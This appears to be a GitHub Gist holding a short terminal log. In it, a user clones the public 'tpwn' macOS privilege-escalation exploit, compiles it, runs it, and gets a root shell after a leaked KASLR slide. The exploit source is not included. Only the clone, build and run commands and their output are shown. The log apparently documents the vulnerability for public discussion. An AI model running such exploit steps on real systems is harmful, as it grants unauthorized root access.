Created
August 16, 2015 02:11
-
-
Save soheil-zz/799c843478f4dcad94b1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
soheil@hungryheidi tmp $ git clone https://github.com/kpwn/tpwn.git | |
Cloning into 'tpwn'... | |
remote: Counting objects: 16, done. | |
remote: Compressing objects: 100% (11/11), done. | |
remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0 | |
Unpacking objects: 100% (16/16), done. | |
Checking connectivity... done. | |
soheil@hungryheidi tmp $ whoami | |
soheil | |
soheil@hungryheidi tmp $ cd tpwn/ | |
soheil@hungryheidi tpwn (master) $ make | |
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 | |
strip tpwn | |
soheil@hungryheidi tpwn (master) $ ./tpwn | |
leaked kaslr slide, @ 0x0000000021600000 | |
sh-3.2# whoami | |
root | |
sh-3.2# |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://news.ycombinator.com/item?id=10067524